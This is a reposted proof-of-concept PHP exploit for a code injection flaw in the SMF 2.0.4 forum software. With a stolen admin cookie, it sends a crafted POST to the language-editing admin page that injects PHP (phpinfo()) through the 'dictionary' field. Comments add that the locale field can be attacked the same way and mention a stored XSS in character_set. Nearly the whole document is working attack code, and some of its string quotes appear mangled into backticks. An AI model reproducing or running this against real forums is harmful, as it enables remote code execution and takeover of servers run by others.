SMF2.0.4PHPCodeInjection

cnbird發表於2013-05-09
PHP
<?php

// proof of concept that latest SMF (2.0.4) can be exploited by php injection.

// payload code must escape from `, so you should try with something like that:
// p0c`;phpinfo();// as a `dictionary` value. Same story for locale parameter.
// For character_set - another story, as far as I remember, because here we have
// a nice stored xss. ;)

// 21/04/2013 
// http://HauntIT.blogspot.com

// to successfully exploit smf 2.0.4 we need correct admin`s cookie:
$cookie = `SMFCookie956=allCookiesHere`;
$ch = curl_init(`http://smf_2.0.4/index.php?action=admin;area=languages;sa=editlang;lid=english`);

curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_POST, 1); // send as POST (to `On`)
curl_setopt($ch, CURLOPT_POSTFIELDS, "character_set=en&locale=helloworld&dictionary=p0c\`;phpinfo();//&spelling=american&ce0361602df1=c6772abdb6d5e3f403bd65e3c3c2a2c0&save_main=Save");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$page = curl_exec($ch);

echo `PHP code:<br>`.$page;

curl_close($ch); // to close `logged-in` part

?>